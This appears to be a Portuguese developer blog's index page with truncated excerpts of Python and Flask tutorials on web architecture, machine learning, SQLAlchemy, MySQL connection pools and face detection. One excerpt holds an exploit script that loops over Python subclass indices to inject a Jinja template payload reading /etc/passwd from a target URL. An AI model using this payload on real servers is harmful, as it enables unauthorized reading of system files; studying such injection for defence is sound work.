Doido Dev

Arquitetura e Separação de Responsabilidades O sistema é composto por duas camadas principais: uma interface web responsiva para criação e acompanhamento de solicitações, e um serviço de execução em segundo plano responsável pelo processamento assíncrono. A separação permite que o servidor Web foque apenas em requisições HTTP e sessão, enquanto ...

Arquitetura e Fluxo de Implementação A construção de um sistema de classificação supervisionada requer a orquestração de três camadas: aquisição e particionamento dos dados, treinamento do modelo estatístico e exposição da inferência via serviço web. O conjunto de dados Iris, nativo da biblioteca scikit-learn, disponibiliza 150 instâncias distr ...

Introdução ao SQLAlchemy SQLAlchemy é uma biblioteca ORM (Object Relational Mapper) em Python, que atua como uma ponte entre objetos Python e tabelas de banco de dados relacionais. Ele abstrai as operações de banco de dados, permitindo que desenvolvedores interajam com o banco de dados usando objetos Python em vez de escrever SQL puro. Embora o ...

Para configurar o ambiente, altere o repositório de pacotes Python para o da Douban: https://pypi.douban.com/simple/. Em seguida, instale o pacote Flask. Configurações Básicas do Flask O Flask é um framework web leve em Python que atua como middleware, executando com o Python enstalado no sistema operacional. As rotas definem quais caminhos ace ...

Recentemente, ajudei alguns colegas a revisarem seus trabalhos de graduação e percebi um padrão comum: muitos estão entusiasmados com o aprendizado profundo, mas encontram dificuldades ao colocar ideias em prática. Problemas como falta de acesso a GPUs poderosas, dificuldade em encontrar conjuntos de dados adequados e problemas na replicação de ...

Backend: Flask (framework Python leve) ou Django (framework Python completo), fornecendo APIs RESTful. Frontend: Vue.js 3 (Composition API), combinado com bibliotecas UI como Element Plus ou Vant. Ferramentas de Desenvolvimento: PyCharm (para backend), VS Code (para frontend). Banco de Dados: MySQL/PostgreSQL, operado através de SQLAlchemy ou ...

Exploração da classe FileLoader: import requests url = input('Digite a URL do alvo: ') for i in range(500): payload = f"{{{{''.__class__.__bases__[0].__subclasses__()[{i}].get_data(0, '/etc/passwd')}}}}" try: response = requests.post(url, data={"name": payload}) if response.status_code == 200 and '_fr ...

3. Conexão com o banco de dados MySQL e criação de pool de conexões A conexão direta com o banco de dados a cada requisição é ineficiente, pois consome tempo e recursos valiosos. Uma solução melhor é utilizar um pool de conexões, que mantém um conjunto de conexões pré-estabeelcidas prontas para uso. Primeiro, vejamos uma implementação básica se ...

Introdução à Detecção Facial com MTCNN e Flask A detecção de faces é uma tarefa fundamental em visão computacional, com aplicações em segurança, organização de fotos e interação humano-computador. O MTCNN (Multi-task Cascaded Convolutional Networks) é um modelo popular e eficiente para essa finalidade. Este artigo demonstra como integrar o MTCN ...

Introdução ao Projeto Com a expansão contínua da internet, plataformas sociais como Weibo, Zhihu e Douban tornaram-se repositórios vastos de opiniões e avaliações dos usuários sobre produtos e serviços. Esse feedback gera um "efeito boca a boca" que influencia o comportamento de consumo. A mineração e análise dessas informações oculta ...